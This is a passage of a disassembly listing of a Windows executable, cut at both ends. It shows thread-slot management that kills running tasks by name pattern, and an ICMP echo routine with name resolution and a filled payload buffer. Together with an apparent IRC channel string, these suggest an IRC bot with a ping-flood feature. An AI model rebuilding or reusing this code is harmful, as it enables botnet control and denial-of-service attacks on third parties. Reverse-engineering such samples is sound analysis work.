dword_41E2A0, eax locret_4092A2: ; CODE XREF: sub_409226+66j leave retn sub_409226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4092A4 proc near ; CODE XREF: cAddress:0040840Ep ; sub_40A9CF+1CCAp ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409307 jg short loc_4092CC cmp [ebp+var_8], 0 jbe short loc_409307 loc_4092CC: ; CODE XREF: sub_4092A4+20j cmp [ebp+var_C], 0 jl short loc_409307 jg short loc_4092DA cmp [ebp+var_10], 0 jbe short loc_409307 loc_4092DA: ; CODE XREF: sub_4092A4+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol jmp short locret_409316 ; --------------------------------------------------------------------------- loc_409307: ; CODE XREF: sub_4092A4+1Ej ; sub_4092A4+26j ... call dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx locret_409316: ; CODE XREF: sub_4092A4+61j leave retn sub_4092A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409318 proc near ; CODE XREF: cAddress:loc_408BBCp ; sub_40A9CF:loc_40C715p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409381 jg short loc_409340 cmp [ebp+var_8], 0 jbe short loc_409381 loc_409340: ; CODE XREF: sub_409318+20j cmp [ebp+var_C], 0 jl short loc_409381 jg short loc_40934E cmp [ebp+var_10], 0 jbe short loc_409381 loc_40934E: ; CODE XREF: sub_409318+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol sub eax, dword_41E2A0 jmp short locret_40938D ; --------------------------------------------------------------------------- loc_409381: ; CODE XREF: sub_409318+1Ej ; sub_409318+26j ... call dword_4170D0 ; GetTickCount sub eax, dword_41E2A0 locret_40938D: ; CODE XREF: sub_409318+67j leave retn sub_409318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40938F proc near ; CODE XREF: cAddress:004168C6p push ebp mov ebp, esp and dword_41E2C0, 0 push 1980h call sub_416B46 ; malloc pop ecx mov dword_41E2C8, eax push offset dword_41E2A8 call sub_409C36 pop ecx pop ebp retn sub_40938F endp ; --------------------------------------------------------------------------- loc_4093B6: ; DATA XREF: sub_409479+35o push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417278 push offset word_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp-18h], esp and dword ptr [ebp-20h], 0 and dword ptr [ebp-1Ch], 0 and dword ptr [ebp-4], 0 mov eax, [ebp+8] mov eax, [eax] mov [ebp-20h], eax mov eax, [ebp+8] mov eax, [eax+4] mov [ebp-1Ch], eax push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push dword ptr [ebp-20h] call dword_4170DC ; IsBadCodePtr test eax, eax jz short loc_409431 cmp dword_41DE08, 0 jz short loc_40942F push dword ptr [ebp-20h] push offset dword_419474 push offset aKok1 ; "#kok1" call sub_40D4AB add esp, 0Ch loc_40942F: ; CODE XREF: cAddress:00409418j jmp short loc_409443 ; --------------------------------------------------------------------------- loc_409431: ; CODE XREF: cAddress:0040940Fj push dword ptr [ebp-1Ch] call dword ptr [ebp-20h] mov [ebp-24h], eax or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-24h] jmp short loc_409468 ; --------------------------------------------------------------------------- loc_409443: ; CODE XREF: cAddress:loc_40942Fj or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_409466 ; --------------------------------------------------------------------------- aHpfa db 'hp”A',0 aHhfa db 'hh”A',0 db 0FFh dd 0D0E8EC75h, 83FFFF9Eh, 8BC30CC4h, 4D83E865h db 0FCh, 0FFh ; --------------------------------------------------------------------------- loc_409466: ; CODE XREF: cAddress:00409447j xor eax, eax loc_409468: ; CODE XREF: cAddress:00409441j mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409479 proc near ; CODE XREF: cAddress:00407797p ; sub_409BF1+2Fp ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 8 call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_409494 xor eax, eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_409494: ; CODE XREF: sub_409479+15j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [eax+4], ecx lea eax, [ebp+var_8] push eax push 0 push [ebp+var_C] push offset loc_4093B6 push 20000h push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4094D9 push [ebp+var_4] call dword_4170A4 ; CloseHandle push 1 pop eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_4094D9: ; CODE XREF: sub_409479+50j push [ebp+var_C] call sub_416B4C ; free pop ecx xor eax, eax locret_4094E4: ; CODE XREF: sub_409479+19j ; sub_409479+5Ej leave retn sub_409479 endp ; --------------------------------------------------------------------------- loc_4094E6: ; DATA XREF: sub_4095A4+159o push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417288 push offset word_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18Ch push ebx push esi push edi mov [ebp-18h], esp mov al, byte_41DE00 mov [ebp-19Ch], al push 60h pop ecx xor eax, eax lea edi, [ebp-19Bh] rep stosd stosw stosb and dword ptr [ebp-4], 0 mov eax, [ebp+8] mov eax, [eax] mov eax, [eax+10h] mov [ebp-1A0h], eax mov eax, [ebp+8] mov eax, [eax] add eax, 14h push eax lea eax, [ebp-19Ch] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push dword ptr [ebp+8] mov eax, [ebp+8] mov eax, [eax] call dword ptr [eax+10h] mov [ebp-1A4h], eax or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-1A4h] jmp short loc_409593 ; --------------------------------------------------------------------------- dw 858Dh dd 0FFFFFE64h, 94686850h, 75FF0041h, 9DA5E8ECh, 0C483FFFFh dd 658BC30Ch, 0FC4D83E8h db 0FFh, 33h, 0C0h ; --------------------------------------------------------------------------- loc_409593: ; CODE XREF: cAddress:00409570j mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095A4 proc near ; CODE XREF: sub_4017AA+A2p ; sub_401D6E+8Dp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 14h push offset dword_41E2A8 call sub_409C6C pop ecx cmp dword_41E2C0, 10h jnz short loc_4095D9 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2A8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_4095D9: ; CODE XREF: sub_4095A4+18j cmp [ebp+arg_8], 0 jz short loc_409627 and [ebp+var_10], 0 jmp short loc_4095EC ; --------------------------------------------------------------------------- loc_4095E5: ; CODE XREF: sub_4095A4:loc_409625j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4095EC: ; CODE XREF: sub_4095A4+3Fj cmp [ebp+var_10], 10h jge short loc_409627 mov eax, [ebp+var_10] imul eax, 198h mov ecx, dword_41E2C8 mov eax, [ecx+eax+10h] cmp eax, [ebp+arg_0] jnz short loc_409625 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2A8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409625: ; CODE XREF: sub_4095A4+64j jmp short loc_4095E5 ; --------------------------------------------------------------------------- loc_409627: ; CODE XREF: sub_4095A4+39j ; sub_4095A4+4Cj and [ebp+var_C], 0 and [ebp+var_8], 0 jmp short loc_409638 ; --------------------------------------------------------------------------- loc_409631: ; CODE XREF: sub_4095A4:loc_409672j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_409638: ; CODE XREF: sub_4095A4+8Bj cmp [ebp+var_8], 10h jge short loc_409674 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jnz short loc_409672 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2C8 add ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_409674 ; --------------------------------------------------------------------------- loc_409672: ; CODE XREF: sub_4095A4+AEj jmp short loc_409631 ; --------------------------------------------------------------------------- loc_409674: ; CODE XREF: sub_4095A4+98j ; sub_4095A4+CCj cmp [ebp+var_C], 0 jnz short loc_409695 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2A8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409695: ; CODE XREF: sub_4095A4+D4j cmp [ebp+arg_4], 0 jz short loc_4096A3 mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx loc_4096A3: ; CODE XREF: sub_4095A4+F5j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax+10h], ecx lea eax, [ebp+arg_10] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_C] mov eax, [ebp+var_C] add eax, 14h push eax call sub_416DC6 ; vsprintf add esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+var_C] and dword ptr [eax+4], 0 mov eax, dword_41E2C0 inc eax mov dword_41E2C0, eax cmp [ebp+arg_4], 0 jz short loc_4096EB mov eax, [ebp+arg_4] mov [ebp+var_14], eax jmp short loc_4096F1 ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_4095A4+13Dj mov eax, [ebp+var_C] mov [ebp+var_14], eax loc_4096F1: ; CODE XREF: sub_4095A4+145j mov eax, [ebp+var_C] add eax, 0Ch push eax push 0 push [ebp+var_14] push offset loc_4094E6 push 0 push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov ecx, [ebp+var_C] mov [ecx+8], eax mov eax, [ebp+var_C] cmp dword ptr [eax+8], 0 jnz short loc_409753 push [ebp+arg_4] call sub_416B4C ; free pop ecx mov eax, dword_41E2C0 dec eax mov dword_41E2C0, eax push 198h push 0 lea eax, [ebp+var_C] push eax call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2A8 call sub_409C7A pop ecx xor eax, eax jmp short locret_409761 ; --------------------------------------------------------------------------- loc_409753: ; CODE XREF: sub_4095A4+177j push offset dword_41E2A8 call sub_409C7A pop ecx push 1 pop eax locret_409761: ; CODE XREF: sub_4095A4+30j ; sub_4095A4+7Cj ... leave retn sub_4095A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409763 proc near ; CODE XREF: cAddress:004012B7p ; cAddress:0040178Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push offset dword_41E2A8 call sub_409C6C pop ecx mov eax, dword_41E2C0 dec eax mov dword_41E2C0, eax mov eax, [ebp+arg_0] push dword ptr [eax+8] call dword_4170A4 ; CloseHandle push 198h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2A8 call sub_409C7A pop ecx pop ebp retn sub_409763 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097A7 proc near ; CODE XREF: sub_40A9CF+EBFp var_194 = dword ptr -194h var_190 = byte ptr -190h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h cmp [ebp+arg_0], 0 jnz short loc_4097BB jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_4097BB: ; CODE XREF: sub_4097A7+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_409825 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2A8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 mov dword ptr [ecx+eax+4], 1 loc_409815: ; CODE XREF: sub_4097A7+3Fj ; sub_4097A7+55j push offset dword_41E2A8 call sub_409C7A pop ecx jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_409825: ; CODE XREF: sub_4097A7+22j push [ebp+arg_0] push offset aS_0 ; "*%s*" push 185h lea eax, [ebp+var_190] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2A8 call sub_409C6C pop ecx mov eax, dword_41E2C0 mov [ebp+var_8], eax and [ebp+var_194], 0 jmp short loc_40986A ; --------------------------------------------------------------------------- loc_40985D: ; CODE XREF: sub_4097A7:loc_4098E1j mov eax, [ebp+var_194] inc eax mov [ebp+var_194], eax loc_40986A: ; CODE XREF: sub_4097A7+B4j cmp [ebp+var_194], 10h jnb short loc_4098E6 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4098E1 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax lea eax, [ebp+var_190] push eax mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2C8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_4098D9 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2C8 mov dword ptr [ecx+eax+4], 1 loc_4098D9: ; CODE XREF: sub_4097A7+116j cmp [ebp+var_8], 0 jnz short loc_4098E1 jmp short loc_4098E6 ; --------------------------------------------------------------------------- loc_4098E1: ; CODE XREF: sub_4097A7+E3j ; sub_4097A7+136j jmp loc_40985D ; --------------------------------------------------------------------------- loc_4098E6: ; CODE XREF: sub_4097A7+CAj ; sub_4097A7+138j push offset dword_41E2A8 call sub_409C7A pop ecx locret_4098F1: ; CODE XREF: sub_4097A7+Fj ; sub_4097A7+79j leave retn sub_4097A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098F3 proc near ; CODE XREF: sub_40A9CF+F13p var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = byte ptr -194h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 19Ch cmp [ebp+arg_0], 0 jnz short loc_409907 jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_409907: ; CODE XREF: sub_4098F3+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz loc_4099B4 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2A8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_4099A4 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4099A4 mov eax, dword_41E2C0 dec eax mov dword_41E2C0, eax mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 mov eax, [ecx+eax+8] mov [ebp+var_8], eax push 198h push 0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_8] call dword_4170E0 ; TerminateThread push [ebp+var_8] call dword_4170A4 ; CloseHandle loc_4099A4: ; CODE XREF: sub_4098F3+43j ; sub_4098F3+59j push offset dword_41E2A8 call sub_409C7A pop ecx jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_4099B4: ; CODE XREF: sub_4098F3+22j push [ebp+arg_0] push offset aS_0 ; "*%s*" push 185h lea eax, [ebp+var_194] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2A8 call sub_409C6C pop ecx mov eax, dword_41E2C0 mov [ebp+var_C], eax and [ebp+var_198], 0 jmp short loc_4099F9 ; --------------------------------------------------------------------------- loc_4099EC: ; CODE XREF: sub_4098F3:loc_409AC3j mov eax, [ebp+var_198] inc eax mov [ebp+var_198], eax loc_4099F9: ; CODE XREF: sub_4098F3+F7j cmp [ebp+var_198], 10h jnb loc_409AC8 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jz loc_409AC3 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax lea eax, [ebp+var_194] push eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2C8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_409ABB mov eax, dword_41E2C0 dec eax mov dword_41E2C0, eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2C8 mov eax, [ecx+eax+8] mov [ebp+var_19C], eax push 198h push 0 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2C8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_19C] call dword_4170E0 ; TerminateThread push [ebp+var_19C] call dword_4170A4 ; CloseHandle loc_409ABB: ; CODE XREF: sub_4098F3+161j cmp [ebp+var_C], 0 jnz short loc_409AC3 jmp short loc_409AC8 ; --------------------------------------------------------------------------- loc_409AC3: ; CODE XREF: sub_4098F3+12Aj ; sub_4098F3+1CCj jmp loc_4099EC ; --------------------------------------------------------------------------- loc_409AC8: ; CODE XREF: sub_4098F3+10Dj ; sub_4098F3+1CEj push offset dword_41E2A8 call sub_409C7A pop ecx locret_409AD3: ; CODE XREF: sub_4098F3+Fj ; sub_4098F3+BCj leave retn sub_4098F3 endp ; --------------------------------------------------------------------------- loc_409AD5: ; DATA XREF: sub_409BF1+2Ao push ebp mov ebp, esp sub esp, 1A8h push 1A3h push dword ptr [ebp+8] lea eax, [ebp-1A8h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx cmp dword_41E2C0, 0 jz short loc_409B25 push 10h push dword_41E2C0 push offset dword_4194EC lea eax, [ebp-1A8h] push eax call sub_40D53F add esp, 10h jmp short loc_409B3F ; --------------------------------------------------------------------------- loc_409B25: ; CODE XREF: cAddress:00409B05j push offset dword_4194CC lea eax, [ebp-1A8h] push eax call sub_40D53F pop ecx pop ecx xor eax, eax jmp locret_409BED ; --------------------------------------------------------------------------- loc_409B3F: ; CODE XREF: cAddress:00409B23j push offset dword_41E2A8 call sub_409C6C pop ecx and byte ptr [ebp-10h], 0 and dword ptr [ebp-4], 0 jmp short loc_409B5B ; --------------------------------------------------------------------------- loc_409B54: ; CODE XREF: cAddress:loc_409BDBj mov eax, [ebp-4] inc eax mov [ebp-4], eax loc_409B5B: ; CODE XREF: cAddress:00409B52j cmp dword ptr [ebp-4], 10h jge short loc_409BE0 mov eax, [ebp-4] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409BDB push offset dword_41E2A8 call sub_409C7A pop ecx push 3E8h call dword_41709C ; Sleep push offset dword_41E2A8 call sub_409C6C pop ecx mov eax, [ebp-4] imul eax, 198h mov ecx, dword_41E2C8 lea eax, [ecx+eax+14h] push eax push dword ptr [ebp-4] push offset dword_4194BC lea eax, [ebp-1A8h] push eax call sub_40D53F add esp, 10h mov eax, [ebp-4] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+4], 0 jz short loc_409BDB jmp short loc_409BE0 ; --------------------------------------------------------------------------- loc_409BDB: ; CODE XREF: cAddress:00409B75j ; cAddress:00409BD7j jmp loc_409B54 ; --------------------------------------------------------------------------- loc_409BE0: ; CODE XREF: cAddress:00409B5Fj ; cAddress:00409BD9j push offset dword_41E2A8 call sub_409C7A pop ecx xor eax, eax locret_409BED: ; CODE XREF: cAddress:00409B3Aj leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BF1 proc near ; CODE XREF: sub_40A9CF+AFBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_409C0B jmp short locret_409C34 ; --------------------------------------------------------------------------- loc_409C0B: ; CODE XREF: sub_409BF1+16j push [ebp+arg_0] push [ebp+var_4] call sub_405F67 pop ecx pop ecx push [ebp+arg_0] push offset loc_409AD5 call sub_409479 pop ecx pop ecx test eax, eax jnz short locret_409C34 push [ebp+arg_0] call sub_416B4C ; free pop ecx locret_409C34: ; CODE XREF: sub_409BF1+18j ; sub_409BF1+38j leave retn sub_409BF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C36 proc near ; CODE XREF: sub_405FA3+9p ; sub_40938F+1Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push 18h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch cmp dword_41DE10, 0 jz short loc_409C61 push 80000400h push [ebp+arg_0] call dword_41DE10 ; InitializeCriticalSectionAndSpinCount jmp short loc_409C6A ; --------------------------------------------------------------------------- loc_409C61: ; CODE XREF: sub_409C36+19j push [ebp+arg_0] call dword_4170E4 ; InitializeCriticalSection loc_409C6A: ; CODE XREF: sub_409C36+29j pop ebp retn sub_409C36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C6C proc near ; CODE XREF: sub_406041+10p ; sub_4095A4+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170EC ; RtlEnterCriticalSection pop ebp retn sub_409C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C7A proc near ; CODE XREF: sub_406041+26p ; sub_406041+307p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_41710C ; RtlLeaveCriticalSection pop ebp retn sub_409C7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C88 proc near ; CODE XREF: cAddress:0040333Bp ; cAddress:00411928p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xadd [esi], eax pop edi pop esi pop ebx pop ebp retn sub_409C88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C9D proc near ; CODE XREF: sub_4042FB+17p ; sub_4042FB+25p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xchg eax, [esi] pop edi pop esi pop ebx pop ebp retn sub_409C9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CB1 proc near ; CODE XREF: cAddress:00409FD2p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 38h call dword_41E2CC mov [ebp+var_1C], eax cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_409CD8 push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_409DCE ; --------------------------------------------------------------------------- loc_409CD8: ; CODE XREF: sub_409CB1+13j push 8 push 0 lea eax, [ebp+var_18] push eax call sub_416B6A ; memset add esp, 0Ch mov al, [ebp+arg_8] mov [ebp+var_18], al movzx eax, [ebp+arg_10] push eax call sub_416DD2 pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_C], eax movzx eax, [ebp+arg_10] push eax push 45h push [ebp+var_C] call sub_416B6A ; memset add esp, 0Ch movzx eax, [ebp+arg_10] cmp eax, 8 jge short loc_409D26 mov [ebp+var_38], 8 jmp short loc_409D2D ; --------------------------------------------------------------------------- loc_409D26: ; CODE XREF: sub_409CB1+6Aj movzx eax, [ebp+arg_10] mov [ebp+var_38], eax loc_409D2D: ; CODE XREF: sub_409CB1+73j mov eax, [ebp+var_38] add eax, 1Ch mov [ebp+var_24], eax push [ebp+var_24] call sub_416DD2 pop ecx mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_4], eax push [ebp+arg_C] push [ebp+var_24] push [ebp+var_10] lea eax, [ebp+var_18] push eax movzx ax, [ebp+arg_10] push eax push [ebp+var_C] push [ebp+arg_0] push [ebp+var_1C] call dword_41E2D8 mov [ebp+var_20], eax mov [ebp+var_8], 1 cmp [ebp+var_20], 1 jz short loc_409D8D call dword_417064 ; RtlGetLastWin32Error mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_409DA4 ; --------------------------------------------------------------------------- loc_409D8D: ; CODE XREF: sub_409CB1+CDj mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx] mov [eax+4], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx+8] mov [eax+8], ecx loc_409DA4: ; CODE XREF: sub_409CB1+DAj push [ebp+var_1C] call dword_41E2D4 mov eax, [ebp+var_C] mov [ebp+var_30], eax push [ebp+var_30] call sub_416DCC pop ecx mov eax, [ebp+var_10] mov [ebp+var_34], eax push [ebp+var_34] call sub_416DCC pop ecx mov eax, [ebp+var_8] locret_409DCE: ; CODE XREF: sub_409CB1+22j leave retn sub_409CB1 endp ; --------------------------------------------------------------------------- loc_409DD0: ; DATA XREF: sub_40A1A7+FDo push ebp mov ebp, esp sub esp, 2F0h push 2ACh push dword ptr [ebp+8] lea eax, [ebp-2B0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx movzx eax, byte_41E2E0 test eax, eax jnz short loc_409E6D push offset aIcmp_dll ; "ICMP.DLL" call dword_417054 ; LoadLibraryA mov dword_41E2D0, eax cmp dword_41E2D0, 0 jnz short loc_409E24 xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E24: ; CODE XREF: cAddress:00409E1Bj push offset aIcmpcreatefile ; "IcmpCreateFile" push dword_41E2D0 call dword_417058 ; GetProcAddress mov dword_41E2CC, eax push offset aIcmpsendecho ; "IcmpSendEcho" push dword_41E2D0 call dword_417058 ; GetProcAddress mov dword_41E2D8, eax push offset aIcmpclosehandl ; "IcmpCloseHandle" push dword_41E2D0 call dword_417058 ; GetProcAddress mov dword_41E2D4, eax mov byte_41E2E0, 1 loc_409E6D: ; CODE XREF: cAddress:00409E02j cmp dword_41E2CC, 0 jnz short loc_409E7D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E7D: ; CODE XREF: cAddress:00409E74j cmp dword_41E2D8, 0 jnz short loc_409E8D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E8D: ; CODE XREF: cAddress:00409E84j cmp dword_41E2D4, 0 jnz short loc_409E9D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E9D: ; CODE XREF: cAddress:00409E94j lea eax, [ebp-10Dh] mov [ebp-2B8h], eax push dword ptr [ebp-2B8h] call dword_417244 ; inet_addr mov [ebp-2BCh], eax cmp dword ptr [ebp-2BCh], 0FFFFFFFFh jnz short loc_409F18 push dword ptr [ebp-2B8h] call dword_41723C ; gethostbyname mov [ebp-2C0h], eax cmp dword ptr [ebp-2C0h], 0 jz short loc_409F06 mov eax, [ebp-2C0h] movsx eax, word ptr [eax+0Ah] push eax mov eax, [ebp-2C0h] mov eax, [eax+0Ch] push dword ptr [eax] lea eax, [ebp-2BCh] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_409F18 ; --------------------------------------------------------------------------- loc_409F06: ; CODE XREF: 